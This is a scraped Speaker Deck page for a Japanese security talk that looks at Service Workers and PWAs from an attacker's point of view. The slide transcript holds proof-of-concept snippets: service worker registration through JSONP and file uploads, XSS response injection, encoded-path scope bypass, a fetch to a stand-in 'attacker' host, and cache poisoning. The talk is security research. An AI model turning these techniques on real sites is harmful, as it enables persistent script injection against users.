Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者視点で見る Service Worker / PWA Study SW
Search
Masato Kinugawa
September 14, 2017
Technology
20
27k
攻撃者視点で見る Service Worker / PWA Study SW
PWA Study(
https://web-study.connpass.com/event/65267/
) で発表した資料です。
Masato Kinugawa
September 14, 2017
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
Shadow DOMとセキュリティ - 光と影の境界を探る / Shibuya.XSS techtalk #13
masatokinugawa
0
560
Shadow DOM & Security - Exploring the boundary between light and shadow
masatokinugawa
1
1.7k
ブラウザのレガシー・独自機能を愛でる-Firefoxの脆弱性4選- / Browser Crash Club #1
masatokinugawa
1
930
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
4k
バグハンティングのすゝめ / P3NFEST
masatokinugawa
5
2.5k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
20k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
23k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
20
7k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
100k
Other Decks in Technology
See All in Technology
文字列操作の達人になる ~ Kotlinの文字列の便利な世界 ~ - Kotlin fest 2025
tomorrowkey
2
580
3年ぶりの re:Invent 今年の意気込みと前回の振り返り
kazzpapa3
0
190
サブドメインテイクオーバー事例紹介と対策について
mikit
16
7.9k
これからアウトプットする人たちへ - アウトプットを支える技術 / that support output
soudai
PRO
16
4.8k
NOT A HOTEL SOFTWARE DECK (2025/11/06)
notahotel
0
3.8k
Pythonで構築する全国市町村ナレッジグラフ: GraphRAGを用いた意味的地域検索への応用
negi111111
8
3.2k
ソフトウェア品質を支える テストとレビュー再考 / 吉澤 智美さん
findy_eventslides
1
920
【AWS reInvent 2025 関西組 事前勉強会】re:Inventの“感動と興奮”を思い出してモチベ爆上げしたいです
ttelltte
0
120
自己的售票系統自己做!
eddie
0
200
データ組織ゼロから投資を得るまでの軌跡と未来図 〜AIの前にやるべきこと〜 / Building a Data Organization from Scratch: The Journey to Securing Investment and a Vision for the Future
kaonavi
0
110
設計は最強のプロンプト - AI時代に武器にすべきスキルとは?-
kenichirokimura
1
310
品質保証の取り組みを広げる仕組みづくり〜スキルの移譲と自律を支える実践知〜
tarappo
2
770
Featured
See All Featured
Fireside Chat
paigeccino
41
3.7k
Build The Right Thing And Hit Your Dates
maggiecrowley
38
2.9k
Unsuck your backbone
ammeep
671
58k
StorybookのUI Testing Handbookを読んだ
zakiyama
31
6.3k
The Art of Programming - Codeland 2020
erikaheidi
56
14k
Connecting the Dots Between Site Speed, User Experience & Your Business [WebExpo 2025]
tammyeverts
10
650
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
658
61k
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
34
2.5k
Reflections from 52 weeks, 52 projects
jeffersonlam
355
21k
Evolution of real-time – Irina Nazarova, EuRuKo, 2024
irinanazarova
9
1k
Become a Pro
speakerdeck
PRO
29
5.6k
Docker and Python
trallard
46
3.6k
Transcript
None
None
• •
• • • <script> navigator.serviceWorker.register("/sw.js") </script>
• • •
• • https://html5experts.jp/kyo_ago/5153/ https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23
None
HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] alert(1)//({});
<script> navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//"); </script> HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...]
onfetch=event=>console.log('fetch')//({});
<script> var formData = new FormData(); formData.append("csrf_token", "secret"); var sw
= "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */); </script>
• •
• • onfetch=e=>{ body = '<script>alert(1)</script>'; init = {headers: {'content-type':
'text/html'}}; e.respondWith(new Response(body,init)); }
• • • <script> navigator.serviceWorker.register("/sw.js", {scope: "/"}) </script>
• • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope:
"/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}
HTTP/1.1 200 OK content-type: text/javascript service-worker-allowed: / [...]
https://example.com/api/jsonp https://example.com/api%2Fjsonp
❝ ❞
https://example.com/out-of-scope/ https://example.com/foo/..%2Fout-of-scope%2F
None
• • •
onfetch=e=>{ e.respondWith(fetch("//attacker/poc.swf")) } •
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="example.jp" /> </cross-domain-policy> https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016
❝ ❞
<script src="//example.com/socialbutton.js"></script>
self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// });
}); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }
• •
onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response)
{ if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };
<script> caches.open("v1").then(function(cache){ content = "<script>alert(1)</script>"; init = {headers: {"content-type": "text/html"}};
request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); }) </script>
<script> document.write(localStorage.getItem('name')); </script>
• • •
• • HTTP/1.1 200 OK Content-Type:text/html Clear-Site-Data: "storage"
GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control:
no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6
• •
None
None